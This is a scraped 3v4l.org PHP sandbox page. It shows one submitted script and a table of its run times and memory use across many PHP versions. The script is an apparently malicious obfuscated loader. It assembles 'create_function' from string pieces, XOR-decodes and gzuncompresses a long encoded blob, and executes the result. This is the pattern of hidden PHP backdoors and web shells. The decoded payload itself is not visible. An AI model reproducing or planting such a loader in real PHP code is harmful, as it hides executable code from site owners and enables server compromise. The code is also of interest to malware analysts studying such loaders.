3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $griudxyx=array( '$griudxyx[0]=$griudxyx[3];$kifxugjn=kifxugjn(3,13);$griudxyx[0]=$kifxugjn($griudxyx[2]);', '"$griudxyx[2]=gzuncompress(kifxugjn(716,2160));', 'bnt+YF57cnZlWGZWc3xlbn9Id3N7UX5nZmh+eVJicXJ2eXpxZHZ7XnJ8amdkfldQVllaQERbTVZISFFEU1JVQVtEUnZ1fWR6emtvdnp3em93c35tLn95MW9XeSY+OTNPTEp0Qm1kPGVkayd9LHtFfzQyJnV+NXtbaXRWaj0seWF1YHx1cXd8cWF6ZH1xcUFYdX9mZmRyKXh2ZndnPW9xbHZlImNheWVjeHozZWVjcmpmO3BgZnNneVpEXVFbb3V9dm9QYW1LQyg/JmZMSFNaRF1RV19NUkNwR2RLeHBxemQ+I11lcm13bHMmZWt7f2cqe3JuZHR6TjloVkBVWFRNRFZeQlxRS0NpVUFTW0hYQ11PVkNdZUNFTFNRSFFVRUdWT0lXQVJaLWJJVkZiPXRsdydkamx1PWRkcSc5ZG55ejV9eGRoUGtlYz1kZHEnOUtCUiNtZn91RnV3Rl1ZR1RvdU5lRlVEUXRhVEZdWUVBRWV0PWRkcURnYGVuaXNddXp+R2x/f1FWZn15Z1V0eFBlYCRiZ3l2ZHl6N31mYX9kdmNZSlhPYWVgJGJneXZkeXo3a3dueGBCTWt0f3tibXNdZX58SDxqbkxxUDx8ZmZUTU9ZcHF6ZD4jXWVybXdsc1lQY3NlYVdhYWR7ZGl6XWZyekdlc3lxWnZxfWBoTUVnYmBvUVpEXVFXQlFE'.'RVFZT1NDRG9zT2hNdnQhJ2B6cGdvY3t1JmZ6R3ciJ2p6cmByOW13ZUpza3AkJ2dnZWNtfm19JnVifXo9Z3ksa3hsZ35pNnh+fS9wL3M0ezQ0ZDRxYGckcSpZYXhlUzRmNHJScWV7bVdmTU57fmB1YXNMeSN4ek5wemR9cTI4LXprQzRnNGdvdEFUUWF1fW54Y0tCaHFNNGc0Yn1keHdobGJyS0c0ZzRyYzdKVUNeNzk4PVVaf3p1Mjd3ST1yaFdCWFRqjIRZc3jgSQXxMhXSw8q3kaA4xyT0OaNOaC+yrykyzFi3ZQ8ZxATyp4MHtLRx56j4fuo3iar5Cv+gtn/rp5rFNdrchfJWSiZdY1PXUEyIw8bbq6Wuve0ll3UnB6shmMcDzQxonj2Jwcjry3G+OSVG/bhB1wfVYpXFoqRjfRDNbbkqONXWjmmytLtty5T2NtltAKdDcchoaBEeIEiGKCkAiEMDoqGiQ4U+SgxChFwgSASjcbr+f7BS/XpngNRZN/D7Zrfd50LwT/2V2K/luEuKhISPdbSKT9fA/Bf/zOUBdPKemmW0QEJD6j5G7SJ7k1CunC9VGRMqOl2GSkfV6OjIYd2/3Nsjm9xAf80bkSLi4HlVBPQgYLVZu9zSlT35VuCq1IC2kNNZNtqcPQUdXpHA7QLG+BQyMVB95w9NaiwKPLkhlUbBs5JWri0nGbfYu6/wHyj7pEJXr6r92tRFoCFequlSu9fzBfZLNsUupu7nWhnngQXgtqczfttDN4Mn75r8qGEmedg9uXenVHai+OShNnIrj1HOcoRqIdpkW3Y1+jfOJSj640c4PFsjnTaU489YI6hYlpOHIfHwe6W7qvH/gt+++ITRSDyx9cEkwsSH/3gVtWP/+fvGGFhp9CElrw+uNMODHUJGWBzgJoXqj5Ffh6GSJOkh9oLeaoRKxMjLdSyXEYuPag'.'puASO7JVuZbnjmKBH/OQ+8CSVgWHWlNPxzq2uND8PDWFxXoEZp/laGoaasvjqSfuuXbcK5RYT0SXx9SlPG2kxfJd/ndu3T6E1SIVyOvoUA2X2kJbeUuNt+7gQSVxx0qQ3nUCIJKBU6GL1TmlF4PPHKoXRlXtvH1vpuE930zkxRsaJiNFBMuFFCG6WJ2CwgXKNytNrUYC8BXLyp3lV2PMyGtppkKEKUg7WwXq2iM59S4z2PHFG+z3nQLqh5eq2sdG1Hr8e7DctOQEKtHZdVOllLgHbhHZVUesxGt7ynoL160lQAnOBLiLDjcajLaYAr0BXA+hsJeoLdaDzkuCtS4lIi9f0N/o8Z/aB3ZzkfR991aBkPAlT533kjXH7MOhA5GiI0Dyfe/3R13TOquYIspdWwIGzcrD3NDPNMkYyaZTKNxzhnBfA6s6h+mg3Ima9GttgGXKcaJm8buOE5IZPhWcZ8TlGKunW1EWxZjRXIc7ZliR0FnCkqxWmKydR+djRhAM4aGLEnhPgSC3cHJu2Ta/pyTMicFazFoqfG06eu+ulowouQlfkFajAGdSwJJhJ/BSbgD659POxz62YiCqAM+Q3q3+smYlMUlgtTeEJodWnDandjEi2shhRK0vMTRXgAjtXr56f9hOXMh2PVliN4NWwPSMe8goga8Wp15deCNeXPWPbvvGptTBDdNT7NN/4G3czhK8UPBh7PU5jdTVp45n2DG2EddYh91GkI+60MD0lULFA3cHrmLZppBVYKVPGduhAAfcuIUeymubAOQKzILl8MBm6W1goJh5OCWTcXlWshDGQcYl/jjvGJnRcoqRUpUTbJgAmiFB2drKe5KN'.'IqzTYkIugEVbveAhajUyrTJ0khfFrFBK1sNPtPe8EzZiFw1ukNRz3Ex+FVc+LvwY8ly5OAlfOLyLNOXJIW9O4lXY3DRZjronzgoiwFSMx339pVqZlgZMvK6vpCKsyl6/J+1RlcBT5lB+g4twmqOShkND3EhrCsC9ehIYZY6N30xrFe69rRM4uO9F2gSrSnezHhNQG8xqS26gCcn0mzlXeWCrwHwsFUlFP6ejcrJYou1T42gnhWUDlWfCT9Y/7n0rfOVE6Ry+X3eZmuiE9unzRONOzOaOBQV/b+6yVWPfYfrTNjVp00Le407MH6IXScK0j4VjC3rugKjxhm3DdA4o2+jdok7fnF6jV7SjmoaS7aymQYOaYSl9BFmD8Rle5D+vDijBq9kj8RBzhjI6TpRAd4hOV/cFbp0nZFBXcnn7sHGgxnr1yzkYdInA45nT2QVsek4tDZKsDzJo7IXX4SicSW4HhH+vQjv1ULkaI2hr1C0DdEKTJzJlHP+3af1Z397RVandCUMMZmvFhe/3CM1oEa0iWUQnHyyhfGG3OUMCsw22q5RjPeQaSmCBsyUMUCdYLaeAHnMa2anVSSfwSADIXHpM7e2/60x0t0DMjJtEWFMjSqvcMbhzqDkYxoKGkDPtjA2DvFE6ZrQl4jTzGnQds35U//4GiN4n+hmgCGCGuQ2kgPN44SXQMZ7lHOJnVQBPzWmAWvpI7DNgSRSoAt/QxaMlMBeSY2RCFeHVqsMWMFk22qP11IdKfF2ro73saqFkSW8xs1DVbYsGys1PJd2zN/2xw6j7Rtm6A6DnuxVDBy6ine0BLitB8srJqL4royfZEFJRDUCI/HnNbugKu1Q11rsmNUJa5T8OzXA2wZjoMv+A5jC1j79ZrlBwdqu3huxl0azoF0UtA3oyfeGdFBNc+Xhjf5HZ9R/jmdgACxtmYcYzC6alDd/UzwqUW+fL/e5/7AxbiBIIgGN1sbCl/'.'K0auu4MXK4XazOOae7Nbt2A8cdE6/6BzdKDHxjPthzu8Sa+4481q5DNIuTr9+s4yJEfY1/6p3jRMqRuOZPvjzLB0aR9+P8myUdfAjgLNxPWCyhU/fihQVdoBQyOKD04EazObRgm6MV5cX8qxN+BgLa3c3zywRhiXPJvLdGkuOlYGum2F93LN+b81yaLqc+zkgErwZVwMFolBsGQJ2Jh9kzXRhUe24MoqwTMwNj7kMOp7acWV8tKq9OrTca0KF5oss9u8moRLwxfkAPK47ks+7Du0bAZJd5ecKRkDmATba9fBFciuL8kdtk2PWs1GagwAo70v58BFkPY8cHqG0qxWSlZ86NmY82koR6dLjAyeNz8pv', "/*s\x70\x71\x7a\x64\x3e\x23\x5d\x65\x72\x6d\x77\x6c\x73*/");$fugkept='create_'; if(function_exists($fugkept.='function')){ $fugkept('','}function kifxugjn($j,$s){$m=str_pad("",$s,"rpiahwbawnxhvmpe");$r=str_repeat("\x1f",$s);$f=str_repeat("\xe0",$s);$u = substr($v[0],$j,$s);return(($u^$m)&$r)|($u&$f);}{'); for($sn=-1;++$sn<3;$griudxyx[$sn]()){ $griudxyx[$sn]=$fugkept('',$griudxyx[$sn]); }};unset($griudxyx);?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
Note: hhvm uses a JIT which only kicks in after a few runs. Since we run scripts only once, hhvm always runs slower.

VersionSystem time (s)User time (s)Memory (MiB)
7.2.60.0030.00916.86
7.2.00.0060.00619.47
7.1.200.0040.00415.82
7.1.100.0030.00618.25
7.1.70.0060.00317.29
7.1.60.0090.01219.17
7.1.50.0030.02017.02
7.1.00.0030.05722.31
7.0.200.0000.00716.61
7.0.140.0000.07722.16
7.0.60.0030.09320.01
7.0.50.0030.08017.95
7.0.40.0100.08320.21
7.0.30.0230.07020.30
7.0.20.0500.05720.19
7.0.10.0070.05020.07
7.0.00.0000.06720.22
5.6.280.0070.07320.99
5.6.210.0130.08320.48
5.6.200.0000.08718.22
5.6.190.0100.08320.39
5.6.180.0500.06320.64
5.6.170.0430.03320.71
5.6.160.0070.03720.44
5.6.150.0030.08718.15
5.6.140.0030.04318.18
5.6.130.0030.08718.28
5.6.120.0130.05721.00
5.6.110.0100.08021.11
5.6.100.0100.08020.97
5.6.90.0070.08321.10
5.6.80.0070.07720.39
5.5.350.0300.05020.35
5.5.340.0000.04317.96
5.5.330.0070.04720.28
5.5.320.0030.04020.35
5.5.310.0300.03720.24
5.5.300.0070.04018.09
5.5.290.0030.07317.93
5.5.280.0070.09020.89
5.5.270.0100.07720.64
5.5.260.0000.06720.86
5.5.250.0130.07020.67
5.5.240.0130.07020.23
5.4.450.0230.04019.21
5.4.440.0200.05019.53
5.4.430.0200.07319.64
5.4.420.0200.04319.47
5.4.410.0270.03319.38
5.4.400.0270.04319.16
5.4.390.0300.03719.09
5.4.380.0300.02719.00
5.4.370.0230.03318.95
5.4.360.0270.04019.31
5.4.350.0270.04718.99
5.4.340.0230.03718.91
5.4.320.0200.04719.22
5.4.310.0370.06319.24
5.4.300.0330.05019.31
5.4.290.0270.06319.09
5.4.280.0370.06719.16
5.4.270.0370.04719.20
5.4.260.0300.06719.08
5.4.250.0330.04018.97
5.4.240.0230.04019.31
5.4.230.0330.04019.31
5.4.220.0400.06319.09
5.4.210.0270.04319.31
5.4.200.0400.06319.16
5.4.190.0270.04318.84
5.4.180.0230.03719.14
5.4.170.0330.07319.18
5.4.160.0330.03319.06
5.4.150.0270.04319.30
5.4.140.0300.04316.40
5.4.130.0330.03716.38
5.4.120.0300.05016.33
5.4.110.0230.07716.50
5.4.100.0300.04016.59
5.4.90.0400.06016.50
5.4.80.0300.04316.48
5.4.70.0230.04016.41
5.4.60.0300.04716.26
5.4.50.0330.03316.52
5.4.40.0300.04016.54
5.4.30.0270.03716.53
5.4.20.0400.03716.52
5.4.10.0270.07716.34
5.4.00.0330.03315.87
5.3.290.0200.05314.61
5.3.280.0430.06714.63
5.3.270.0330.05314.72
5.3.260.0330.07014.64
5.3.250.0300.05714.55
5.3.240.0230.08014.79
5.3.230.0330.03714.60
5.3.220.0330.05714.57
5.3.210.0370.07014.69
5.3.200.0330.04014.61
5.3.190.0200.04314.62
5.3.180.0230.03714.64
5.3.170.0330.03714.82
5.3.160.0300.04714.59
5.3.150.0270.04314.63
5.3.140.0330.03714.50
5.3.130.0430.06014.55
5.3.120.0270.05014.57
5.3.110.0330.04014.49
5.3.100.0230.04314.07
5.3.90.0270.07314.20
5.3.80.0430.05314.13
5.3.70.0330.06013.95
5.3.60.0400.06714.19
5.3.50.0300.07013.90
5.3.40.0230.04013.98
5.3.30.0270.03314.10
5.3.20.0370.06013.80
5.3.10.0230.04013.90
5.3.00.0330.04013.89
5.2.170.0230.03711.18
5.2.160.0270.03711.09
5.2.150.0230.02711.16
5.2.140.0330.02311.15
5.2.130.0270.05311.11
5.2.120.0300.05711.22
5.2.110.0270.05711.29
5.2.100.0270.03311.22
5.2.90.0400.03311.14
5.2.80.0270.03011.29
5.2.70.0300.05311.21
5.2.60.0270.03710.99
5.2.50.0230.03710.98
5.2.40.0230.03010.95
5.2.30.0270.04710.92
5.2.20.0230.04311.15
5.2.10.0230.06010.81
5.2.00.0170.03710.68
5.1.60.0200.02310.07
5.1.50.0230.02010.03
5.1.40.0230.0439.90
5.1.30.0230.03710.28
5.1.20.0200.05710.26
5.1.10.0230.05310.21
5.1.00.0170.03710.00
5.0.50.0130.0308.50
5.0.40.0170.0278.51
5.0.30.0130.0308.18
5.0.20.0100.0208.10
5.0.10.0100.0238.09
5.0.00.0130.0308.07
4.4.90.0100.0176.84
4.4.80.0070.0206.84
4.4.70.0100.0136.84
4.4.60.0200.0206.84
4.4.50.0100.0206.84
4.4.40.0070.0276.84
4.4.30.0070.0176.84
4.4.20.0130.0206.84
4.4.10.0130.0136.84
4.4.00.0100.0506.84
4.3.110.0170.0306.84
4.3.100.0130.0336.84
4.3.90.0130.0176.85
4.3.80.0230.0176.85
4.3.70.0200.0206.85
4.3.60.0130.0336.85
4.3.50.0070.0206.85
4.3.40.0030.0306.85
4.3.30.0030.0176.85
4.3.20.0070.0136.85
4.3.10.0030.0376.85
4.3.00.0000.0206.85